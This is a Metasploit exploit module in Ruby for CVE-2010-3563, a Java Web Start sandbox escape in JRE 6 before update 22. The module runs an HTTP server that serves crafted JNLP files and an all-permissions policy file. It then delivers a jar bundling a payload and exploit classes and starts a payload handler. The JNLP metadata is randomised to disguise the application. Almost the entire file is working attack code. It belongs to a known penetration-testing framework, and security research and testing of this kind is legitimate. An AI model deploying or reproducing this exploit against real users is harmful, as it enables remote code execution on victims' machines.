##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer
  # Internet explorer freaks out and shows the scary yellow info bar if this
  # is in an iframe.  The exploit itself also creates a couple of scary popup
  # windows about "downloading application" that I haven't been able to
  # figure out how to prevent.  For both of these reasons, don't include it
  # in Browser Autopwn.
  # include Msf::Exploit::Remote::BrowserAutopwn
  # autopwn_info({ :javascript => false })

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Sun Java Web Start BasicServiceImpl Code Execution',
        'Description' => %q{
          This module exploits a vulnerability in Java Runtime Environment
          that allows an attacker to escape the Java Sandbox. By injecting
          a parameter into a javaws call within the BasicServiceImpl class
          the default java sandbox policy file can be therefore overwritten.
          The vulnerability affects version 6 prior to update 22.

          NOTE: Exploiting this vulnerability causes several sinister-looking
          popup windows saying that Java is "Downloading application."
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Matthias Kaiser', # Discovery, PoC, metasploit module
          'egypt' # metasploit module
        ],
        'References' => [
          [ 'CVE', '2010-3563' ],
          [ 'OSVDB', '69043' ],
          [ 'URL', 'http://mk41ser.blogspot.com' ],
        ],
        'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
        'Targets' => [
          [
            'Windows x86',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win'
            }
          ],
          [
            'Generic (Java Payload)',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => 'java'
            }
          ],
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2010-10-12',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def on_request_uri(cli, request)
    jpath = get_uri(cli)

    case request.uri
    when /java.security.policy/
      print_status('Checking with HEAD')
      ack = 'OK'
      send_response(cli, ack, { 'Content-Type' => 'application/x-java-jnlp-file' })

    when /all.policy/
      all = "grant {permission java.security.AllPermission;};\n"
      print_status('Sending all.policy')
      send_response(cli, all, { 'Content-Type' => 'application/octet-stream' })

    when /init.jnlp/
      init = <<~EOS
        <?xml version="1.0" encoding="UTF-8"?>
        <jnlp href="#{jpath}/init.jnlp" version="1">
        #{jnlp_info}
          <application-desc main-class="BasicServiceExploit">
            <argument>#{jpath}</argument>
          </application-desc>
        </jnlp>
      EOS
      print_status('Sending init.jnlp')
      send_response(cli, init, { 'Content-Type' => 'application/x-java-jnlp-file' })

    when /exploit.jnlp/
      expl = <<~EOS
        <?xml version="1.0" encoding="UTF-8"?>
          <jnlp href="#{jpath}/exploit.jnlp" version="1">
        #{jnlp_info}
          <application-desc main-class="Exploit"/>
          </jnlp>
      EOS
      print_status('Sending exploit.jnlp')
      send_response(cli, expl, { 'Content-Type' => 'application/x-java-jnlp-file' })

    when /\.jar$/i
      p = regenerate_payload(cli)
      paths = [
        [ 'BasicServiceExploit.class' ],
        [ 'Exploit.class' ],
      ]
      dir = [ Msf::Config.data_directory, 'exploits', 'cve-2010-3563' ]
      jar = p.encoded_jar
      jar.add_files(paths, dir)
      print_status('Sending Jar')
      send_response(cli, jar.pack, { 'Content-Type' => 'application/octet-stream' })
      handler(cli)

    else
      print_status('Sending redirect to init.jnlp')
      send_redirect(cli, get_resource + '/init.jnlp', '')

    end
  end

  def jnlp_info
    <<-EOS
    <information>
      <title>#{Rex::Text.rand_text_alpha(rand(10..19))}</title>
      <vendor>#{Rex::Text.rand_text_alpha(rand(10..19))}</vendor>
      <description>#{Rex::Text.rand_text_alpha(rand(10..19))}</description>
    </information>
    <resources>
      <java version="1.6+"/>
      <jar href="#{get_uri}/exploit.jar"/>
    </resources>
    EOS
  end
end